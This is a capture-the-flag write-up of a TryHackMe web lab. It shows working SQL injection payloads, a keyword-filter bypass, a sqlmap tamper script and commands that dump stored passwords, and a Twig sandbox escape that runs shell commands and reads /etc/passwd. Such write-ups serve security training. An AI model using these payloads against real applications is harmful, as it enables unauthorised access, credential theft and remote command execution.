Post

Injectics Write-up - TryHackMe

Bypassing SQLi filters and escaping from the Twig sandbox in a black-box web challenge.

Injectics is a medium level web challenge on TryHackMe. The challenge is completely black-box, which is why it took me a while to solve it.

Web Enumeration

I started by checking the user login form.

Login Form

Some SQLi login bypasses didn’t work and there was no way to register a new user. I checked page’s source code and found a comment.

1
2
3
4
!-- Website developed by John Tim - [email protected]>

<!-- Mails are stored in mail.log file-->
    <!-- Bootstrap JS and dependencies --> 

I tried to access the mail.log file and it was accessible.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
From: [email protected]
To: [email protected]
[...]


To add an extra layer of safety, I have configured the service to automatically insert default credentials into the `users` table if it is ever deleted or becomes corrupted. This ensures that we always have a way to access the system and perform necessary maintenance. I have scheduled the service to run every minute.

Here are the default credentials that will be added:

| Email                     | Password 	              |
|---------------------------|-------------------------|
| [email protected]  | superSecurePasswd101    |
| [email protected]         | devPasswd123            |

[...]

We got the email and password of the superadmin. However, none of them worked. This file is a rabbit hole, which I lost a lot of time on.

Login Bypass

I intercepted the login request with Burp Suite and passed it to sqlmap.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /functions.php HTTP/1.1
Host: 10.10.216.24
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 38
Origin: http://10.10.216.24
Connection: close
Referer: http://10.10.216.24/login.php
Cookie: PHPSESSID=m1u4jujhkfnml8erll0tn7pbfm

username=test*&password=&function=login

And then I ran sqlmap with the following command.

1
sqlmap -r login.req --dbms=mysql --level=3 --risk=3 --batch

Though sqlmap alerted that it found a possible SQL injection, it could not exploit it. It could not retrieve anything.

I tried some sqli payloads manually.

Interestingly, when I put this payload into the login form, it worked. At least, I was able to bypass the login.

1
' RLIKE (SELECT 3326=IF((16=70),SLEEP(0),3326))-- ZxuR

Logged In

Developer Panel

After logging in, I could edit leaderboard entries

Leaderboard

Again I intercepted the request with Burp Suite and passed it to sqlmap. This time, sqlmap didn’t even alert a possible sqli. Here I tried some SSTI payloads. Changed the gold value to 7*7, and it worked. Unfortunately, there were no working payloads for anything except numerical computations

1
2
7*7 -> 49
7*'7' -> 49

I started inspecting the rank parameter on the URL.

1
http://10.10.216.24/edit_leaderboard.php?rank=1&country=USA

When I sent this request, it reflected in a table on the page.

1
<input type="hidden" name="rank" value="1">

Then I started to test UNION based sqli payloads manually. I checked this payload and its response was:

1
2
3
view-source:http://10.10.216.24/edit_leaderboard.php?rank=1%20order%20by%205%20--&country=USA

<input type="hidden" name="rank" value="1derby5">

Wait! What…? What’s that? The input was order by 5 and it reflected as 1derby5. Here I realised that the or was replaced with empty string.

Tried the same thing for and and it showed a similar behaviour.

1
2
3
view-source:http://10.10.216.24/edit_leaderboard.php?rank=hello_and&country=USA

<input type="hidden" name="rank" value="hello_">

Filter Bypass

Since or and and are replaced with empty string, I could bypass this filter by injecting or and and in the middle of the payload.

To bypass or filter, I used oorr and for and filter, I used aandnd. It did really work.

1
2
3
4
5
6
7
view-source:http://10.10.216.24/edit_leaderboard.php?rank=oorr&country=USA

<input type="hidden" name="rank" value="or">

view-source:http://10.10.216.24/edit_leaderboard.php?rank=aandnd&country=USA
<input type="hidden" name="rank" value="and">

The reason sqlmap didn’t work was probably this filter. I quickly prepared a custom tamper script for sqlmap that replaces or with oorr and and with aandnd.

1
2
3
4
5
6
7
8
9
10
#!/usr/bin/env python

__priority__ = 1

def dependencies():
    pass

def tamper(payload:str, **kwargs):
    modified_payload = payload.lower().replace("and", "aandnd").replace("or", "oorr")
    return modified_payload

I saved this script as bypass.py and ran the same sqlmap command I ran at the beginning with the tamper script.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
sqlmap -r login.req --dbms=mysql --level=3 --risk=3 --tamper=bypass.py --batch --dbs

[...]

[11:01:00] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 19.10 or 20.10 or 20.04 (eoan or focal)
web application technology: Apache 2.4.41
back-end DBMS: MySQL >= 8.0.0
[...]
[*] bac_test
[*] information_schema
[*] mysql
[*] performance_schema
[*] phpmyadmin
[*] sys

I got the database names. I continued to dump the tables and columns.

1
2
3
4
5
6
7
8
sqlmap -r login.req --dbms=mysql --level=3 --risk=3 --tamper=bypass.py --batch -D bac_test --tables

Database: bac_test
[2 tables]
+-------------+
| leaderboard |
| users       |
+-------------+

Finally, I dumped the columns of the users table.

1
2
3
4
5
6
7
8
9
10
11
sqlmap -r login.req --dbms=mysql --level=3 --risk=3 --tamper=bypass.py --batch -D bac_test -T users --columns

Database: bac_test
Table: users
[2 entries]
+------+--------------------------+-------+-------+---------------------+-------------+
| auth | email                    | fname | lname | password            | reset_token |
+------+--------------------------+-------+-------+---------------------+-------------+
| 0    | [email protected] | admin | NULL  | 34234vsdfwr2r2wf2r2 | NULL        |
| 1    | [email protected]        | dev   | dev   | 2342sdsfwf2wr2rf    | 983084      |
+------+--------------------------+-------+-------+---------------------+-------------

This time, I got the superadmin password. I logged in with the credentials on the /adminLogin007.php page and got the flag.

Flag

First Flag: THM{INJECTICS_ADMIN_PANEL_007}

SSTI on Admin Panel

On the admin panel, there was a profile page, which allows us to change the name of the admin.

Profile

I put {{7*7}} as the name and it reflected as 49 on the dashboard page.

SSTI

The template engine was Twig. I tried some payloads from Hacktricks.

1
2
3
4
5
6
7
8
#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}

#File read
{{'/etc/passwd'|file_excerpt(1,30)}}

I got following error when I tried to read /etc/passwd.

1
Unknown "file_excerpt" filter in "__string_template__4964f28f57118647f2f4131353d42217ad03a67b0e90494c6b77f9a4318b9f06" at line 1.

No payloads worked because the application was sandboxed. Searched for a bypass and that’s how I encountered CVE-2022-23614

It suggests using the {{ ['id','']|sort('system') }} payload to bypass the sandbox. For more information, you can also check this .

I tried the payload:

1
{{['id','']|sort('system')}}

Unfortunately, because the system function was disabled, I got an error.

1
2
Welcome,
Warning: system() has been disabled for security reasons in /var/www/html/vendor/twig/twig/src/Extension/CoreExtension.php on line 919

The same error was thrown when I tried to use exec function. Then I tried to use passthru function and it worked.

1
2
{{['id','']|sort('passthru')}}
Welcome, uid=33(www-data) gid=33(www-data) groups=33(www-data) 

That was it. I read the flag from the file.

1
{{['cat flags/5d8af1dc14503c7e4bdc8e51a3469f48.txt ','']|sort('passthru')}}

Second Flag: THM{5735172b6c147f4dd649872f73e0fdea}

This post is licensed under CC BY 4.0 by the author.